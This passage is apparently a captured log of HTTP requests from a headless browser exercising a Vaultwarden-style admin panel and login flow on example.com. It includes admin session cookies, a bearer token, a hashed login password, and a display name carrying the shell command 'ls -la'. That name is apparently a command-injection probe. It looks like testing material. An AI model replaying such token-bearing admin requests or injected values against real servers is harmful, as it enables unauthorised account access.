VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": "{\"email\":\"dave@example.com\"}"}
|
||||||
|
{"method": "POST", "target": "/admin/users/529697bc-3613-4f2c-8e60-51d23c94896a/invite/resend", "headers": ["Host: example.com", "Content-Length: 0", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/admin/users/59d0f3f3-5d59-4432-a5d9-314ca2cb6729/disable", "headers": ["Host: example.com", "Content-Length: 0", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/admin/users/59d0f3f3-5d59-4432-a5d9-314ca2cb6729/deauth", "headers": ["Host: example.com", "Content-Length: 0", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/admin/users/update_revision", "headers": ["Host: example.com", "Content-Length: 0", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/organizations/overview", "headers": ["Host: example.com", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Sec-Ch-Ua-Platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=0, i"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/vw_static/admin_organizations.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/organizations/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=2"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/diagnostics", "headers": ["Host: example.com", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Sec-Ch-Ua-Platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=0, i"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/vw_static/admin_diagnostics.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/diagnostics", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=2"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/webauthn-connector.html", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/diagnostics", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/does-not-exist", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/diagnostics", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/diagnostics/http?code=404", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/diagnostics", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/diagnostics/http?code=400", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/diagnostics", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/diagnostics/http?code=401", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/diagnostics", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/diagnostics/http?code=403", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/diagnostics", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/notifications/anonymous-hub?token=admin-diagnostics", "headers": ["Host: example.com", "Connection: Upgrade", "Pragma: no-cache", "Cache-Control: no-cache", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Upgrade: websocket", "Origin: https://example.com", "Sec-Websocket-Version: 13", "Accept-Encoding: gzip, deflate, br, zstd", "Sec-Websocket-Key: fHbY0knl/xf6yu7sZB/opQ==", "Sec-Websocket-Extensions: permessage-deflate; client_max_window_bits"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/admin/users/59d0f3f3-5d59-4432-a5d9-314ca2cb6729/enable", "headers": ["Host: example.com", "Content-Length: 0", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxNzUsImV4cCI6MTc5NDI4MzM3NSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.X8DAfbVvvkQWMukqS0hDfUDCGX6uX54JnE5kpMAPzxqLUjPDYg1CA0oxu-Ct1YriUKwNPzfdtskD8ZY1QRKV9YmTwgEDhHxzmOIBK19kYHhJb1XaN2wg0nsNL3XM4TIhhVh3wevpNFyXU58mxuiRAIw2XYv-2kbNSt0LWj4vdhWEC5cOsegqdStuQx0YJSsJyRV7_uR46598sM6IegQCS2T4rtHDISFUnBLllq5-akYkPkijh4s3F-HFE6Nx9R09Tvd9XHSq0yfSR8aQ2gIIonfaRX4aLUSTrkWWcS4UH92MLsx6sb4n3FaNKt8kLi1hS15iMIOkOKzjGImLWpYEtw", "Priority: u=1, i"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=a3e6b5b0-3483-403e-a2eb-30f01f61d540&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/groups/details", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI0MzAsImV4cCI6MTc5NDI4OTYzMCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImEzZTZiNWIwLTM0ODMtNDAzZS1hMmViLTMwZjAxZjYxZDU0MCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.SeaayBUmg3uP6mpNK_ZBiPhlg-6rwOkJibxOlmwsiH66Ye3rSAApk0UnSrlfuTcj9GrgU4etzeqbjjCRhO9_jzYxBwPFE_XRCZ8epJ6ChMhcYfmi3TtVeJXGEfroN1kKNdzJjma3hz-t7W-Q0QvkG167v6wgUQSGdQInW2SckjPMoI109kCvCFRcB87xtQlYUYoQrDmBk_AAjI9wRgW8Ar0-Tq0JrcOVO6T2lJiLQ_wQzO_qoxsDoH6Zjug03Gq8-fvWg34QGsvp3_bdd_iIKibheHvV51bUTi0ZlPu4ULuHujHnczoHkH4oo6lif8k4H22As7gaJ-rCOnEHEjqn4Q", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||||
|
